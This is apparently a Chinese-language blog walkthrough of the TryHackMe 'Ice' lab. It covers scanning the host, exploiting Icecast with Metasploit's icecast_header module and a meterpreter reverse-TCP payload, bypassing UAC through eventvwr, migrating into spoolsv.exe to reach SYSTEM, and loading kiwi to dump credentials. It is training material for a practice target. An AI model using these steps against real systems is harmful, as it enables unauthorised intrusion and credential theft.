Ice | TryHackMe

Ice

Recon

使用 nmap 进行扫描,我一般常用命令都是使用的这条命令 nmap -A -sV -sC -T4 -Pn -p - --defeat-rst-ratelimit 10.201.126.181

这里的 3389 端口的ms-wbt-server 就是 msrdp 服务

8000 端口的可以看到是 icecast 服务

最后主机名信息可以在 Service Info: Host: DARK-PC; OS: Windows; CPE: cpe:/o:microsoft:windows这一行中看到

Gain Access

点击他给的 url,可以在其中看到给出的影响 score 以及 cve 的编号

使用 msfconsole 启动,search icecast 后,只有一个利用脚本

msf6 > use 0
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/http/icecast_header) > show options 

Module options (exploit/windows/http/icecast_header):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS                   yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT   8000             yes       The target port (TCP)


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     10.13.86.118   yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic



View the full module info with the info, or info -d command.


Escalate

在 run 之后可以获得一个 meterpreter,使用 getuid 来查看当前的用户

使用 sysinfo,查看系统的信息,架构以及版本啥的

运行 run post/multi/recon/local_exploit_suggester可以看到给粗的漏洞利用结果

然后 background 退出到后台,使用 exploit 来进行权限的提升

msf6 exploit(windows/http/icecast_header) > use exploit/windows/local/bypassuac_eventvwr 
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/local/bypassuac_eventvwr) > show options 

Module options (exploit/windows/local/bypassuac_eventvwr):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION                   yes       The session to run this module on


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     10.13.86.118   yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Windows x86



View the full module info with the info, or info -d command.


之后可以使用 getprivs 查看当前的权限,其中注意到 SeTakeOwnershipPrivilege

SeTakeOwnership 权限允许用户获取系统上任何对象的所有权,包括文件和注册表项,这为攻击者提升权限提供了许多可能性,例如,我们可以搜索以 SYSTEM 权限运行的服务并获取该服务可执行文件的所有权。

Looting

使用 ps列出进程,这里选择 spoolsv.exe来迁移进程

之后我们就获得的 SYSTEM的权限了

之后 load kiwi使用 help 可以查看可以使用的命令

Post-Exploitation

这里的命令都可以使用 help 来进行查看

这个网页也可以查看其中的一些命令作为参考

https://pplsec.github.io/2018/08/06/%E5%90%8E%E6%B8%97%E9%80%8F%E4%B9%8Bmeterpreter%E4%BD%BF%E7%94%A8%E6%94%BB%E7%95%A5/

评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值